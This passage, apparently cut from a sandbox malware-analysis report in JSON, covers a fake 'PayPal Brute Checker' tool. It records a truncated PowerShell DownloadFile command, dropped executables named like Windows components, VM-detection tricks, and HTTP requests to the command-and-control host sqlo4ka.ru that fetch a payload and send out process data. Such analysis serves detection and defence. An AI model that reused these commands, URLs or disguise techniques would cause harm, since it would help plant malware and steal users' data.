-Command \"(New-Object Net.WebClient).DownloadFile( ...\""},{"type":"process","process_uid":"00100067-00003360","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"powershell.exe\" with commandline \"powershell -Command \"(New-Object Net.WebClient).DownloadFile('h ...\""},{"type":"process","process_uid":"00100099-00003764","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"timeout.exe\" with commandline \"TIMEOUT /T 1 /NOBREAK\""},{"type":"process","process_uid":"00100348-00000320","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\""},{"type":"process","process_uid":"00100415-00002736","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"C:\\Media\\System.vbe\"\""},{"type":"process","process_uid":"00100726-00002996","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"Windows defender.exe\""},{"type":"process","process_uid":"00100753-00001696","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"%WINDIR%\\system32\\cmd.exe /c \"\"C:\\Media\\zVzv5CCsXa33WA0xKgGdsJR1 ...\""},{"type":"process","process_uid":"00101239-00002600","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"e6ee5674bb9446c78bbc5729af6e2c28.exe\""},{"type":"process","process_uid":"00101297-00001072","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"WatchBull.exe\""},{"type":"process","process_uid":"00101338-00001632","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"fontreview.exe\" with commandline \"C:/Media/fontreview.exe\""},{"type":"process","process_uid":"00101353-00003544","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/C%PROGRAMFILES%\\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe\""},{"type":"process","process_uid":"00101634-00002536","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"General","identifier":"binary-26","type":8,"relevance":5,"name":"The input sample possibly contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin\" (Offset: 1277404)","description_v2":["Found VM detection artifact \"RDTSCP trick\" in \"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin\" (Offset: 1277404)"],"description_v3":[{"type":"text","value":"Found VM detection artifact \"RDTSCP trick\" in \"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin\" (Offset: 1277404)"}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-16","type":6,"relevance":1,"name":"Connects to LPC ports","description":"\"PayPalBrute_Checker.exe\" connecting to \"\\ThemeApiPort\"\n \"PayPal.scr\" connecting to \"\\ThemeApiPort\"\n \"PayPal brute?checker.exe\" connecting to \"\\ThemeApiPort\"\n \"PayPal.exe\" connecting to \"\\ThemeApiPort\"\n \"loader.bat\" connecting to \"\\ThemeApiPort\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" connecting to \"\\ThemeApiPort\"\n \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" connecting to \"\\ThemeApiPort\"\n \"fontreview.exe\" connecting to \"\\ThemeApiPort\"","description_v2":["\"PayPalBrute_Checker.exe\" connecting to \"\\ThemeApiPort\"","\"PayPal.scr\" connecting to \"\\ThemeApiPort\"","\"PayPal brute?checker.exe\" connecting to \"\\ThemeApiPort\"","\"PayPal.exe\" connecting to \"\\ThemeApiPort\"","\"loader.bat\" connecting to \"\\ThemeApiPort\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" connecting to \"\\ThemeApiPort\"","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" connecting to \"\\ThemeApiPort\"","\"fontreview.exe\" connecting to \"\\ThemeApiPort\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" connecting to \"\\ThemeApiPort\""},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" connecting to \"\\ThemeApiPort\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"stream-28","type":1,"relevance":5,"name":"Contains ability to lookup the windows account name","description":"GetUserNameW@advapi32.dll at 17803-835-00414010\n GetUserNameW@advapi32.dll at 17803-833-007596F8","description_v2":["GetUserNameW@advapi32.dll at 17803-835-00414010","GetUserNameW@advapi32.dll at 17803-833-007596F8"],"description_v3":[{"type":"text","value":"GetUserNameW@advapi32.dll at 17803-835-00414010"},{"type":"linebreak"},{"type":"text","value":"GetUserNameW@advapi32.dll at 17803-833-007596F8"}],"origin":"Hybrid Analysis Technology","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"binary-0","type":8,"relevance":3,"name":"Dropped files","description":"$2d","description_v2":["\"regedit.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"System.lnk\" has type \"MS Windows shortcut Item id list present Has Relative path ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide\"","\"vmcheck32.dll\" has type \"ASCII text with no line terminators\"","\"PayPal.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","\"RuntimeBroker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\"","\"WebHelper.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"autopass.dll\" has type \"ASCII text with no line terminators\"","\"fontreview.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"dasHost.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"PayPal brute_checker.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"","\"H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\" has type \"ASCII text\"","\"jxzvmjhZXoFhKaVkRQp3.cmd\" has type \"ASCII text with CRLF line terminators\"","\"WatchBull.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\"","\"loader.bat\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""],"description_v3":[{"type":"text","value":"\"regedit.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"System.lnk\" has type \"MS Windows shortcut Item id list present Has Relative path ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide\""},{"type":"linebreak"},{"type":"text","value":"\"vmcheck32.dll\" has type \"ASCII text with no line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"RuntimeBroker.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"System.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed\""},{"type":"linebreak"},{"type":"text","value":"\"WebHelper.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"autopass.dll\" has type \"ASCII text with no line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"dasHost.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute_checker.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs\" has type \"ASCII text\""},{"type":"linebreak"},{"type":"text","value":"\"jxzvmjhZXoFhKaVkRQp3.cmd\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" has type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\""}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-55","type":6,"relevance":7,"name":"Touches files in the Windows directory","description":"$2e","description_v2":["\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\oleaccrc.dll\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\shdocvw.dll\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\shdocvw.dll.mui\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\propsys.dll.mui\"","\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\AppPatch\\AppPatch64\\sysmain.sdb\"","\"PayPalBrute_Checker.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"","\"PayPalBrute_Checker.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"","\"PayPalBrute_Checker.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\oleaccrc.dll\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\AppPatch\\sysmain.sdb\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\shdocvw.dll\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\shdocvw.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\SysWOW64\\en-US\\propsys.dll.mui\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"C:\\Windows\\AppPatch\\AppPatch64\\sysmain.sdb\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\""},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" touched file \"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":10,"name":"Found potential URL in binary/memory","description":"$2f","description_v2":["Pattern match: \"http://nsis.sf.net/NSIS_Error\"","Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\"","Heuristic match: \"sqlo4ka.ru\"","Heuristic match: \"ipinfo.io\"","Heuristic match: \"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CST\"","Heuristic match: \"GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1","Host: sqlo4ka.ru\"","Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.52f6325a1f4b665ec3df0689d6ec3610 HTTP/1.1","Host: sqlo4ka.ru\"","Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.e3e9d48e79205a68773865b95914d2a3 HTTP/1.1","Host: sqlo4ka.ru\"","Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.comm HTTP/1.1","Host: sqlo4ka.ru\"","Pattern match: \"http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\"","Pattern match: \"https://www.newtonsoft.com/jsonschema\"","Pattern match: \"https://www.nuget.org/packages/Newtonsoft.Json.Bson\""],"description_v3":[{"type":"text","value":"Pattern match: \"http://nsis.sf.net/NSIS_Error\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://schemas.microsoft.com/SMI/2005/WindowsSettings\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"ipinfo.io\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CST\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"GET /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.f71e66d9c0a9fa3301b2f8e4024967bc HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.52f6325a1f4b665ec3df0689d6ec3610 HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.e3e9d48e79205a68773865b95914d2a3 HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"HEAD /DCRS/dsock//8e14f57630962c322e7438a5604d645fabd90e1e.comm HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://www.newtonsoft.com/jsonschema\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://www.nuget.org/packages/Newtonsoft.Json.Bson\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"network-20","type":7,"relevance":7,"name":"HTTP request contains Base64 encoded artifacts","description":"\"xOzN_i}^\"\n \"9k:uoO5\"\n \"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4\\xhy$)+^Ei>^I4lhy$r^F-{M/r,^I4^hE'-{M{M\"\n \"xOzN_i}^\"\n \"9k:uoO5\"\n \"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4]Xhy$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\"\n \"xOzN_i}^\"\n \"9k:uoO5\"\n \"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${Me,^I4l%y$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\"","description_v2":["\"xOzN_i}^\"","\"9k:uoO5\"","\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4\\xhy$)+^Ei>^I4lhy$r^F-{M/r,^I4^hE'-{M{M\"","\"xOzN_i}^\"","\"9k:uoO5\"","\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4]Xhy$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\"","\"xOzN_i}^\"","\"9k:uoO5\"","\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${Me,^I4l%y$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\""],"description_v3":[{"type":"text","value":"\"xOzN_i}^\""},{"type":"linebreak"},{"type":"text","value":"\"9k:uoO5\""},{"type":"linebreak"},{"type":"text","value":"\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4\\xhy$)+^Ei>^I4lhy$r^F-{M/r,^I4^hE'-{M{M\""},{"type":"linebreak"},{"type":"text","value":"\"xOzN_i}^\""},{"type":"linebreak"},{"type":"text","value":"\"9k:uoO5\""},{"type":"linebreak"},{"type":"text","value":"\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${M)l^I4]Xhy$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\""},{"type":"linebreak"},{"type":"text","value":"\"xOzN_i}^\""},{"type":"linebreak"},{"type":"text","value":"\"9k:uoO5\""},{"type":"linebreak"},{"type":"text","value":"\"I4lhy$Zh{M&y$9#IPF-{M/r,^I4lhy$r^I4pyhF,^I4lhy$=jWy$!^E&{M/r,^I4lhy$!^F[&{MljE'E+y${Me,^I4l%y$r^Gx{MHGy$!^E'-{M/r,^I4lhy${e{M(,^I4R^^I4HvW\""}],"origin":"Network Traffic","attck_id":"T1132","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1132","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-10","type":2,"relevance":7,"name":"Found a reference to a known community page","description":"$30","description_v2":["\"\"C:\\PayPalBrute_Checker.exe\"\" (Indicator: \"paypal\")","$31","$32","$33","$34","$35","Host: sqlo4ka.ru\" (Indicator: \"paypal\")"],"description_v3":[{"type":"text","value":"\"\"C:\\PayPalBrute_Checker.exe\"\" (Indicator: \"paypal\")"},{"type":"linebreak"},{"type":"text","value":"$36"},{"type":"linebreak"},{"type":"text","value":"$37"},{"type":"linebreak"},{"type":"text","value":"$38"},{"type":"linebreak"},{"type":"text","value":"$39"},{"type":"linebreak"},{"type":"text","value":"$3a"},{"type":"linebreak"},{"type":"text","value":"Host: sqlo4ka.ru\" (Indicator: \"paypal\")"}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"registry-67","type":3,"relevance":10,"name":"Creates or modifies windows services","description":"\"fontreview.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","description_v2":["\"fontreview.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")"],"description_v3":[{"type":"text","value":"\"fontreview.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"System Security","identifier":"api-37","type":6,"relevance":10,"name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"PayPalBrute_Checker.exe\" opened \"\\Device\\KsecDD\"\n \"PayPal.scr\" opened \"\\Device\\KsecDD\"\n \"PayPal brute?checker.exe\" opened \"\\Device\\KsecDD\"\n \"PayPal.exe\" opened \"\\Device\\KsecDD\"\n \"loader.bat\" opened \"\\Device\\KsecDD\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" opened \"\\Device\\KsecDD\"\n \"Windows defender.exe\" opened \"\\Device\\KsecDD\"\n \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"\\Device\\KsecDD\"\n \"WatchBull.exe\" opened \"\\Device\\KsecDD\"\n \"fontreview.exe\" opened \"\\Device\\KsecDD\"","description_v2":["\"PayPalBrute_Checker.exe\" opened \"\\Device\\KsecDD\"","\"PayPal.scr\" opened \"\\Device\\KsecDD\"","\"PayPal brute?checker.exe\" opened \"\\Device\\KsecDD\"","\"PayPal.exe\" opened \"\\Device\\KsecDD\"","\"loader.bat\" opened \"\\Device\\KsecDD\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" opened \"\\Device\\KsecDD\"","\"Windows defender.exe\" opened \"\\Device\\KsecDD\"","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"\\Device\\KsecDD\"","\"WatchBull.exe\" opened \"\\Device\\KsecDD\"","\"fontreview.exe\" opened \"\\Device\\KsecDD\""],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal brute?checker.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"Windows defender.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" opened \"\\Device\\KsecDD\""},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" opened \"\\Device\\KsecDD\""}],"origin":"API Call","attck_id":"T1215","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"static-18","type":0,"relevance":10,"name":"Matched Compiler/Packer signature","description":"\"regedit.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"PayPal.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"\n \"RuntimeBroker.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"\n \"WebHelper.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"fontreview.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"dasHost.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"WatchBull.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"loader.bat\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"e6ee5674bb9446c78bbc5729af6e2c28.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"Windows defender.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"SQLite.Interop.dll\" was detected as \"Borland Delphi 3.0 (???)\"","description_v2":["\"regedit.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"PayPal.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\"","\"RuntimeBroker.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" was detected as \"UPX v1.25 (Delphi) Stub\"","\"WebHelper.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"fontreview.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"dasHost.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"WatchBull.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"loader.bat\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"Windows defender.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","\"SQLite.Interop.dll\" was detected as \"Borland Delphi 3.0 (???)\""],"description_v3":[{"type":"text","value":"\"regedit.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"PayPal.exe\" was detected as \"BobSoft Mini Delphi -> BoB / BobSoft\""},{"type":"linebreak"},{"type":"text","value":"\"RuntimeBroker.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" was detected as \"UPX v1.25 (Delphi) Stub\""},{"type":"linebreak"},{"type":"text","value":"\"WebHelper.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"fontreview.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"dasHost.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""},{"type":"linebreak"},{"type":"text","value":"\"WatchBull.exe\" was detected as 